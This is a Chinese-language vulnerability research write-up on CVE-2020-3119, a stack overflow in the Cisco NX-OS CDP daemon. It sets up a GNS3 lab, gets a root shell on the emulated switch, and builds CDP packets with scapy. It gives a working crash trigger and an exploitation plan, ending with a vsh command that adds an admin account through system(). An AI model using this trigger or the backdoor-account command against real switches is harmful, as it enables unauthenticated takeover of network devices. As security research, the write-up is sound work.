Cisco Discovery Protocol(CDP)協議是用來發現局域網中的Cisco設備的鏈路層協議。 最近Cisco CDP協議爆了幾個漏洞，挑了個棧溢出的CVE-2020-3119先來搞搞，Armis Labs也公開了他們的分析Paper。

環境搭建

雖然最近都在搞IoT相關的，但是還是第一次搞這種架構比較複雜的中型設備，大部分時間還是花在折騰環境上。

3119這個CVE影響的是Cisco NX-OS類型的設備，去Cisco的安全中心找了下這個CVE，搜搜受影響的設備。發現受該漏洞影響的設備都挺貴的，也不好買，所以暫時沒辦法真機測試研究了。隨後搜了一下相關設備的固件，需要氪金購買。然後去萬能的淘寶搜了下，有代購業務，有的買五六十(虧)，有的賣十幾塊。

固件到手後，我往常第一想法是解開來，第二想法是跑起來。最開始我想着先把固件解開來，找找cdp的binary，但是在解固件的時候卻遇到了坑。

如今這世道，解固件的工具也就binwalk，我也就只知道這一個，也問過朋友，好像也沒有其他好用的了。（如果有，求推薦）。

但是binwalk的算法在遇到非常多的壓縮包的情況下，非常耗時，反正我在掛那解壓了兩天，還沒解完一半。在解壓固件這塊折騰了好久，最後還是無果而終。

最後只能先想辦法把固件跑起來了，正好知道一個軟件可以用來仿真Cisco設備————GNS3。

GNS3的使用說明

學會了使用GNS3以後，發現這軟件真好用。

首先我們需要下載安全GNS3軟件，然後還需要下載GNS3 VM。個人電腦上裝個GNS3提供了可視化操作的功能，算是總控。GNS3 VM是作爲GNS3的服務器，可以在本地用虛擬機跑起來，也可以放遠程。GNS3仿真的設備都是在GNS3服務器上運行起來的。

1.首先設置好GNS3 VM

2.創建一個新模板

3.選擇交換機 Cisco NX-OSv 9000

在這裏我們發現是用qemu來仿真設備的，所以前面下載的時候需要下載qcow2。

隨後就是把相應版本的固件導入到GNS3 Server。

導入完成後，就能在交換機一欄中看到剛纔新添加的設備。

4.把Cisco設備拖到中央，使用網線直連設備

這裏說明一下，Toolbox是我自己添加的一個ubuntu docker模板。最開始我是使用docker和交換機設備的任意一張網卡相連來進行操作測試的。

不過隨後我發現，GNS3還提供的了一個功能，也就是圖中的Cloud1，它可以代表你宿主機/GNS3 Server中的任意一張網卡。

因爲我平常使用的工具都是在Mac中的ubuntu虛擬機裏，所以我現在的使用的方法是，讓ubuntu虛擬機的一張網卡和Cisco交換機進行直連。

PS：初步研究了下，GNS3能提供如此簡單的網絡直連，使用的是其自己開發的ubridge，Github上能搜到，目測是通過UDP來轉發流量包。

在測試的過程中，我們還可以右擊這根直連線，來使用wireshark抓包。

5.啓動所有節點

最後就是點擊上方工具欄的啓動鍵，來啓動你所有的設備，如果不想全部啓動，也可以選擇單獨啓動。

研究Cisco交換機

不過這個時候網絡並沒有連通，還需要通過串口連接到交換機進行網絡配置。GNS3默認情況下會把設備的串口通過telnet轉發出來，我們可以通過GNS3界面右上角看到telnet的ip/端口。

第一次連接到交換機需要進行一次初始化設置，設置好後，可以用你設置的管理員賬號密碼登陸到Cisco管理shell。

經過研究，發現該設備的結構是，qemu啓動了一個bootloader，然後在bootloader的文件系統裏面有一個nxos.9.2.3.bin文件，該文件就是該設備的主體固件。啓動以後是一個Linux系統，在Linux系統中又啓動了一個虛擬機guestshell，還有一個vsh.bin。在該設備中，用vsh替代了我們平常使用Linux時使用的bash。我們telnet連進來後，看到的就是vsh界面。在vsh命令中可以設置開啓telnet/ssh，還可以進入Linux shell。但是進入的是guestshell虛擬機中的Linux系統。

本次研究的cdp程序是無法在虛擬機guestshell中看到的。經過後續研究，發現vsh中存在python命令，而這個python是存在於Cisco宿主機中的nxpython程序。所以可以同python來獲取到Cisco宿主機的Linux shell。然後通過mac地址找到你在GNS3中設置連接的網卡，進行ip地址的設置。

bash
Cisco# python
Python 2.7.11 (default, Feb 26 2018, 03:34:16)
[GCC 4.6.3] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> import os
>>> os.system("/bin/bash")
bash-4.3$ id
uid=2002(admin) gid=503(network-admin) groups=503(network-admin),504(network-operator)
bash-4.3$ sudo -i
root@Cisco#ifconfig eth8
eth8      Link encap:Ethernet  HWaddr 0c:76:e2:d1:ac:07
          inet addr:192.168.102.21  Bcast:192.168.102.255  Mask:255.255.255.0
          UP BROADCAST RUNNING PROMISC MULTICAST  MTU:1500  Metric:1
          RX packets:82211 errors:61 dropped:28116 overruns:0 frame:61
          TX packets:137754 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:6639702 (6.3 MiB)  TX bytes:246035115 (234.6 MiB)

root@Cisco#ps aux|grep cdp
root     10296  0.0  0.8 835212 70768 ?        Ss   Mar18   0:01 /isan/bin/cdpd
root     24861  0.0  0.0   5948  1708 ttyS0    S+   05:30   0:00 grep cdp

設置好ip後，然後可以在我們mac上的ubuntu虛擬機裏面進行網絡連通性的測試，正常情況下這個時候網絡已經連通了。

之後可以把ubuntu虛擬機上的公鑰放到cisoc設備的 /root/.ssh/authorized_keys ，然後就能通過ssh連接到了cisco的bash shell上面。該設備的Linux系統自帶程序挺多的，比如後續調試的要使用的gdbserver。nxpython還裝了scapy。

使用scapy發送CDP包

接下來我們來研究一下怎麼發送cdp包，可以在Armis Labs發佈的分析中看到cdp包格式，同樣我們也能開啓Cisco設備的cdp，查看Cisco設備發送的cdp包。

Cisco#conf ter
Cisco(config)# cdp enable
# 比如我前面設置直連的上第一個網口
Cisco(config)# interface ethernet 1/7
Cisco(config-if)# no shutdown
Cisco(config-if)# cdp enable
Cisco(config-if)# end
Cisco# show cdp interface ethernet 1/7
Ethernet1/7 is up
    CDP enabled on interface
    Refresh time is 60 seconds
    Hold time is 180 seconds

然後我們就能通過wireshark直接抓網卡的包，或者通過GNS3抓包，來研究CDP協議的格式。

因爲我習慣使用python寫PoC，所以我開始研究怎麼使用python來發送CDP協議包，然後發現scapy內置了一些CDP包相關的內容。

下面給一個簡單的示例：

from scapy.contrib import cdp
from scapy.all import Ether, LLC, SNAP
# link layer
l2_packet = Ether(dst="01:00:0c:cc:cc:cc")
# Logical-Link Control
l2_packet /= LLC(dsap=0xaa, ssap=0xaa, ctrl=0x03) / SNAP()
# Cisco Discovery Protocol
cdp_v2 = cdp.CDPv2_HDR(vers=2, ttl=180)
deviceid = cdp.CDPMsgDeviceID(val=cmd)
portid = cdp.CDPMsgPortID(iface=b"ens38")
address = cdp.CDPMsgAddr(naddr=1, addr=cdp.CDPAddrRecordIPv4(addr="192.168.1.3"))
cap = cdp.CDPMsgCapabilities(cap=1)
cdp_packet = cdp_v2/deviceid/portid/address/cap
packet = l2_packet / cdp_packet
sendp(packet)

觸發漏洞

下一步，就是研究怎麼觸發漏洞。首先，把cdpd從設備中給取出來，然後把二進制丟到ida裏找漏洞點。根據Armis Labs發佈的漏洞分析，找到了該漏洞存在於 cdpd_poe_handle_pwr_tlvs 函數，相關的漏洞代碼如下： 

if ( (signed int)v28 > 0 )
      {
        v35 = (int *)(a3 + 4);
        v9 = 1;
        do
        {
          v37 = v9 - 1;
          v41[v9 - 1] = *v35;
          *(&v40 + v9) = _byteswap_ulong(*(&v40 + v9));
          if ( !sdwrap_hist_event_subtype_check(7536640, 104) )
          {
            *(_DWORD *)v38 = 104;
            snprintf(&s, 0x200u, "pwr_levels_requested[%d] = %d\n", v37, *(&v40 + v9));
            sdwrap_hist_event(7536640, strlen(&s) + 5, v38);
          }
          if ( sdwrap_chk_int_all(104, 0, 0, 0, 0) )
          {
            v24 = *(&v40 + v9);
            buginf_ftrace(1, &sdwrap_dbg_modname, 0, "pwr_levels_requested[%d] = %d\n");
          }
          snprintf(v38, 0x3FCu, "1111 pwr_levels_requested[%d] = %d\n", v37, *(&v40 + v9), v24);
          sdwrap_his_log_event_for_uuid_inst(124, 7536640, 1, 0, strlen(v38) + 1, v38);
          *(_DWORD *)(a1 + 4 * v9 + 1240) = *(&v40 + v9);
          ++v35;
          ++v9;
        }
        while ( v9 != v28 + 1 );
      }

後續仍然是根據Armis Labs漏洞分析文章中的內容，只要在cdp包中增加Power Request和Power Level就能觸發cdpd程序crash：

power_req = cdp.CDPMsgUnknown19(val="aaaa"+"bbbb"*21)
power_level = cdp.CDPMsgPower(power=16)
cdp_packet = cdp_v2/deviceid/portid/address/cap/power_req/power_level

漏洞利用

首先看看二進制程序的保護情況：

$ checksec cdpd_9.2.3
    Arch:     i386-32-little

    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled
    RPATH:    '/isan/lib/convert:/isan/lib:/isanboot/lib'

發現只開啓了NX和PIE保護，32位程序。

因爲該程序沒法進行交互，只能一次性發送完所有payload進行利用，所以沒辦法泄漏地址。因爲是32位程序，cdpd程序每次crash後會自動重啓，所以我們能爆破地址。

在編寫利用腳本之前需要注意幾點：

1.棧溢出在覆蓋了返回地址後，後續還會繼續覆蓋傳入函數參數的地址。

*(_DWORD *)(a1 + 4 * v9 + 1240) = *(&v40 + v9);

並且因爲在漏洞代碼附近有這樣的代碼，需要向a1地址附近的地址寫入值。如果只覆蓋返回地址，沒法只通過跳轉到一個地址達到命令執行的目的。所以我們的payload需要把a1覆蓋成一個可寫的地址。

2.在 cdpd_poe_handle_pwr_tlvs 函數中，有很多分支都會進入到 cdpd_send_pwr_req_to_poed 函數，而在該函數中有一個 __memcpy_to_buf 函數，這個函數限制了 Power Requested 的長度在40字節以內。這麼短的長度，並不夠進行溢出利用。所以我們不能進入到會調用該函數的分支。 

v10 = *(_WORD *)(a1 + 1208);
      v11 = *(_WORD *)(a1 + 1204);
      v12 = *(_DWORD *)(a1 + 1212);
      if ( v32 != v10 || v31 != v11 )

我們需要讓該條件判斷爲False，不進入該分支。因此需要構造好覆蓋的a1地址的值。

3.我們利用的最終目的不是執行 execve("/bin/bash") ，因爲沒法進行交互，所以就算執行了這命令也沒啥用。那麼我們能有什麼利用方法呢？第一種，我們可以執行反連shell的代碼。第二種，我們可以添加一個管理員賬號，比如執行如下命令： 

/isan/bin/vsh -c "configure terminal ; username test password qweASD123 role network-admin"

我們可以通過執行system(cmd)達到目的。那麼接下來的問題是怎麼傳參呢？經過研究發現，在CDP協議中的DeviceID相關的字段內容都儲存在堆上，並且該堆地址就儲存在棧上，我們可以通過ret來調整棧地址。這樣就能成功向system函數傳遞任意參數了。

演示視頻地址： https://paper.seebug.org/1154/

參考鏈接

https://go.armis.com/hubfs/White-papers/Armis-CDPwn-WP.pdf

https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20200205-nxos-cdp-rce

https://software.cisco.com/download/home/286312239/type/282088129/release/9.2(3)?i=!pp

https://scapy.readthedocs.io/en/latest/api/scapy.contrib.cdp.html

原文地址： https://paper.seebug.org/1154/

英文版本： https://paper.seebug.org/1156/

*本文作者：Hcamael@知道創宇404實驗室，轉載請註明來自FreeBuf.COM

相關文章